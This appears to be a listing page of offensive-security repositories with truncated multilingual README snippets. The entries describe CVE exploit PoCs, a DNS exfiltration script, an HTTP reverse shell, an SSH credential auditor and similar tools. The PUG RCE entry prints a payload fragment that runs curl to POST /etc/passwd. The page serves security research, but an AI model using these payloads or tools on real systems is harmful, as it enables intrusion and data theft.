CVE-2024-57366

CVE-2024-57366 익스플로잇 MAC 주소 검증 우회와 명령어 삽입을 통해 취약한 라우터에서 원격 코드 실행을 가능하게 하는 CVE-2024-57366용 견고한 익스플로잇입니다. 이것은 인증 후post-authorization 익스플로잇으로, 라우터의 "Remote Control" 기능이 켜져 있어야 하며 관리자 비밀번호가 필요합니다. 관리자 사용자 이름은 "admin"으로 하드코딩되어 있습니다. 🚀 기능 자동 MAC 주소 등록 - WiFi에 연결하여 라우터에 MAC 주소를 등록 네트워크 보존 익스플로잇 - 익스플로잇...

msf_shellcode_analysis

Metasploit 셸코드의 정적 분석 첫 블로그 포스트로, 흔히 쓰이는 Metasploit 셸코드를 분석해 보는 게 좋겠습니다. 인코딩, PEB, Windows 셸코드, Export Address Table과 같은 주제를 다루기에 아주 좋은 기회입니다. 시작하기 가로챈 긴 명령줄부터 시작합니다.powershell "powershell.exe" -nop -w hidden -encodedcommand...

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC 면책 조항 저는 이 취약점을 발견한 사람이 아니며, 그에 대한 공로를 인정하지 않습니다. 이는 CTF를 위해 이 취약점을 보다 쉽게 악용하기 위해 제가 작성한 스크립트일 뿐입니다. 원본 정보는 다음을 참고하세요: https://github.com/c53elyas/CVE-2023-33733 이 스크립트는 CVE-2023-33733을 악용하기 위한 간단한 Python3 스크립트입니다. 호스트, 포트, 명령어 및 유효한 세션 쿠키를 제공해야 합니다. 도움말 메뉴 kali@kali:/Desktop$...

procrustes

Procrustes A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked. The script currently supports sh, bash and powershell and is compatible with exec style command execution e.g...

procrustes

Procrustes Bash-скрипт, который автоматизирует эксфильтрацию данных через DNS в случае, если мы имеем слепое выполнение команд на сервере, где все исходящие соединения, кроме DNS, заблокированы. Скрипт в настоящее время поддерживает sh, bash и powershell и совместим с выполнением команд в стиле...

CVE-2021-31760

..| CVE-2021-31760 |.. Описание : Эксплуатация межсайтовой подделки запроса CSRF для получения удалённого выполнения команд RCE через функцию запущенных процессов Webmin Тестированная версия : Webmin 1.973 последняя версия на GitHub 07/03/2021 Тип атаки: Удалённая Воздействие : Удалённое выполнен...

log4j-rce-test

Сборка ./build.sh Запуск log4j RCE сервера ./start-log4j-rce-server.sh Тестирование Запустите java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Проверьте, появляются ли логи в файле hack.log из текущей папки Вы можете изменить эту строку String cmds = "sh", "-c", "echo 'Exploit at '" + getDateString ...

Linux-for-a-Pentester

🐧 Linux для пентестера 💀 "Теория — это здорово, но магия происходит в командной оболочке." Этот репозиторий представляет собой тщательно подобранную коллекцию заметок по командам Linux, составленную на основе реальных лабораторных работ, CTF и практических занятий. Никакой лишней информации, толь...

PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC Информация об уязвимости Номер CVE: cve-2021-21353 Оценка CVSS: 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

C2-Pwn

C2-Pwn Shodan API를 사용하여 C2 서버를 검색하고, 알려진 익스플로잇을 실행합니다. API 사용을 위해 Shodan 계정이 필요합니다. https://www.shodan.io/ Rat 익스플로잇 지원 Dark Comet 원격 파일 다운로드 https://www.rapid7.com/db/modules/auxiliary/gather/darkcometfiledownloader Gh0st Rat 버퍼 오버플로우 https://www.rapid7.com/db/modules/exploit/windows/misc/gh0st...

ssh-auditor

SSH Auditor Features ssh-auditor will automatically: Re-check all known hosts as new credentials are added. It will only check the new credentials. Queue a full credential scan on any new host discovered. Queue a full credential scan on any known host whose ssh version or key fingerprint changes...

ssh-auditor

SSH Аудитор Возможности ssh-auditor будет автоматически: Повторно проверять все известные хосты по мере добавления новых учетных данных. Будут проверяться только новые учетные данные. Ставить в очередь полное сканирование учетных данных для любого нового обнаруженного хоста. Ставить в очередь...

CVE-2024-39943-Poc

CVE-2024-39943-Poc CVE-2024-39943 rejetto HFS일명 HTTP File Server 3 0.52.10 미만 버전이 Linux, UNIX 및 macOS에서 원격 인증된 사용자업로드 권한이 있는 경우에 의한 OS 명령 실행을 허용합니다. 이는 df를 실행하기 위해 셸을 사용하기 때문입니다즉, Node.js의 childprocess에서 spawnSync 대신 execSync를 사용. 배포: ./hfs --config config.yaml...

CVE-2019-19268

CVE-2019-19268 Затронутая версия: rConfig 3.9.2. Описание Множество векторов атак в rConfig v3.9.2 из-за неправильной конфигурации, что позволяет локальным пользователям выполнять команды root через sudo. Обнаружившие dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892 Email:...

CVE-2021-46704-POC

CVE-2021-46704-POC CVE-2021-46704 GenieACS - внедрение команд POC Затрагивает пакет genieacs, версии =1.2.0 1.2.8 Как исправить? Обновите genieacs до версии 1.2.8 или выше. Затронутые версии этого пакета уязвимы для внедрения команд через аргумент ping host lib/ui/api.ts и lib/ping.ts, что вызван...

gtfobins-cli

🚀 GTFOBins CLI Обзор GTFobins CLI — это интерфейс командной строки для GTFOBins, обеспечивающий мгновенный доступ к техникам эксплуатации бинарных файлов Unix. Этот инструмент помогает специалистам по безопасности и системным администраторам выявлять и понимать, как легитимные бинарные файлы Unix...

ip-finder-cli

IPFinder CLI Command Line Interface https://ipfinder.io/ Supports Single IP Address, asn, ranges, firewall as Input Supports Bulk Exports Results to Screen or to An Output File Supports IPv4 and IPv6 Supports ASN number , RANGES , Firewall Getting Started sign up for a free account at...

ip-finder-cli

IPFinder CLI Command Line Interface https://ipfinder.io/ Поддерживает одиночные IP-адреса, ASN, диапазоны, межсетевые экраны как входные данные Поддерживает пакетную обработку Экспортирует результаты на экран или в выходной файл Поддерживает IPv4 и IPv6 Поддерживает номера ASN, диапазоны,...

HTTP-Shell

HTTP-Shell HTTP-Shell — это мультиплатформенная обратная оболочка. Данный инструмент помогает получить интерфейс командной строки при обратном соединении через HTTP. В отличие от других обратных оболочек, основная цель инструмента — использование в связке с Microsoft Dev Tunnels для максимально...

Webmin-CVE-2022-0824-Enhanced-Exploit

Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Webmin CVE-2022-0824 향상된 취약점 익스플로잇 도구 - 명령 실행 및 리버스 쉘 이중 모드 지원 !IMPORTANT Webmin CVE-2022-0824 취약점을 위한 향상된 익스플로잇 도구로, 직접 명령 실행과 리버스 쉘 두 가지 모드를 지원합니다. 🚀 특징 ✅ 이중 모드 지원 : 명령 실행 모드 + 리버스 쉘 모드 ✅ 다양한 페이로드 : Perl, Bash, Python 세 가지 페이로드 ✅ 스마트 파일 관리 : 고유 파...